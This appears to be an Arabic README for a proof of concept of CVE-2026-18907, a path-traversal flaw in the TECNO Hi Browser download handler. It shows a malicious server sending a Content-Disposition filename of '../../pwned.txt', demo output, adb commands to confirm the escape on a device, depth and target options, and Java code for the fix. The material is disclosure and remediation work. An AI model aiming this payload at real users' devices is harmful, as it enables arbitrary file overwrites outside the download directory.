
Python PoC لثغرة CVE-2026-18907 المتعلقة باجتياز المسار في معالج التنزيل بمتصفح TECNO Hi Browser. يتضمن خادم HTTP ضارًا ومنزّلًا بسيطًا لتوضيح الإصلاح.
إثبات مفهوم لـ CVE-2026-18907 (CVSS 7.5 High, CWE-23)، وهي ثغرة
اجتياز مسار نسبي في ميزة تنزيل الملفات في متصفح TECNO Hi
Browser (com.talpa.hibrowser) الإصدار 2.23.1.1. يثق المتصفح في اسم ملف
Content-Disposition المُتحكَّم فيه من قبل المهاجم ويضمّه إلى دليل
التنزيل دون تنقية فواصل المسار أو التحقق من المسار المتعارف عليه
للنتيجة — لذا فإن تسلسلات ../ في اسم الملف تسمح بكتابة نص
الاستجابة خارج Download/ إلى أي مسار تسمح به أذونات تخزين
المتصفح.
هذا الإثبات لا يتضمن حزمة APK الخاصة بـ
com.talpa.hibrowser. إنه يوضح (أ) التسليم HTTP الخبيث بالضبط و(ب) فئة السبب الجذري للثغرة (برنامج تنزيل يثق في اسم ملف الاستجابة كمكوّن مسار). هذه هي نفس الأولية التي تصفها CVE-2026-18907.
| الملف | الغرض |
|---|---|
evil_server.py | خادم HTTP خبيث. يقدّم استجابة واحدة يحمل اسم ملف Content-Disposition فيها ../. هذا هو . |
# terminal 1 — start the delivery server
$ python3 evil_server.py
================================================================
CVE-2026-18907 path-traversal delivery server
================================================================
listening : http://0.0.0.0:8000/
traversal file: '../../pwned.txt'
payload bytes : 43
----------------------------------------------------------------
Point a vulnerable browser/downloader at the URL above.
On a VULNERABLE client the file escapes the download dir.
================================================================
# terminal 2 — run the naive downloader against it
$ python3 naive_downloader.py --url http://127.0.0.1:8000/
================================================================
CVE-2026-18907 naive downloader
================================================================
download dir : /tmp/demo/Download
Content-Disposition: attachment; filename="../../pwned.txt"
parsed name : '../../pwned.txt'
----------------------------------------------------------------
[VULNERABLE] wrote 43 bytes -> /tmp/demo/Download/../../pwned.txt
resolved -> /tmp/pwned.txt
escaped download dir: True
[FIXED] wrote 43 bytes -> /tmp/demo/Download/pwned.txt
../ discarded by basename(); contained OK
================================================================
أنتجت عملية الدمج الهشة /tmp/demo/Download/../../pwned.txt، وقام نظام التشغيل
بحل ..، وظهر الملف في /tmp/pwned.txt — خارج مجلد التنزيل.
أخذ المسار المُصحح os.path.basename() أولاً (يتم تجاهل ../ كبيانات مسار،
تاركًا pwned.txt) ثم تحقق من بقاء المسار المتعارف عليه داخل مجلد التنزيل.
شغّل evil_server.py على مضيف يمكن لجهاز الاختبار الوصول إليه، ثم وجّه
متصفحًا هشًا إلى http://<host>:8000/. في متصفح يبدأ تلقائيًا تنزيلات
attachment ولا ينقّي اسم الملف، يُكتب الملف إلى مسار تحلّه سلسلة ../.
تحقق من فشل الاحتواء باستخدام adb:
$ adb shell ls -la /sdcard/Download/ # nothing — name never landed here
$ adb shell find /sdcard -name pwned.txt
/sdcard/pwned.txt # escaped the download directory
اضبط عمق الصعود وفقًا للجهاز باستخدام --depth (القيمة الافتراضية 2 تُفرّغ
/sdcard/Download/ عائدة إلى /sdcard/؛ وارفعها للصعود أكثر)، واسم القاعدة
النهائي باستخدام --target.
بالنسبة لأي مدير تنزيل، تتلخص فئة CWE-23 بأكملها في عادتين تُطبَّقان معًا:
/ شاملاً إيّاه.File base = downloadDir.getCanonicalFile();
File out = new File(base, safeName).getCanonicalFile();
if (!out.toPath().startsWith(base.toPath())) {
throw new SecurityException("refusing to write outside download dir: " + out);
}
لا تعتمد على قائمة حظر لـ ../ — مجموعة الترميزات المكافئة للاجتياز
غير محدودة. عرّف المسار بشكل متعارف عليه ثم قارن. تلك الخوارزمية مغلقة.
شغّل الخادم فقط على شبكة تتحكم فيها، ولا تختبر إلا على جهاز تملكه. الكتابة عبر اجتياز المسار هي، بحكم التعريف، أولية كتابة ملف — لا توجّهها إلى أي شيء لا ترغب في استبداله.
MIT — راجع المقالة المصاحبة للإسناد الكامل والمصادر الأولية.
naive_downloader.py | برنامج تنزيل بسيط يعيد إنتاج نمط join(dir, filename) الهش، إلى جانب النسخة المُصلحة (اسم القاعدة + الاحتواء المتعارف عليه)، حتى تتمكن من مشاهدة الهروب في تشغيل واحد. |